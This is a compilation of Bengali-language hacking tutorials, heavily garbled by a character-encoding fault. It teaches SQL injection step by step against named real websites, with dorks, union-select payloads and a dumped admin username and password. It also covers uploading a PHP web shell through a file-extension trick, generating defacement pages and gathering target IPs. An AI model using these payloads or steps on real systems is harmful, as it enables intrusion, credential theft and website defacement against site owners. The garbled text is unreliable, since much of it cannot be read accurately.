সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
যাকায মাযা
যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয
যাকায সপাযাভ
অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন
wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom
যাকতকংকতযচছাব
যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ
httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-
dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp
wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww
wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায
ভকতব
কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ
TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE
CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)
VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)
JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)
কতরচছখচছছনঃ সভচছকতদ াান
যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক
IP Address কতক এফং তায খটিনাটী
IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address
র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয
IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ
1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন
2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version
যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network
ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক
অনায কতনচছজয অআকত এচছে সদখা
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
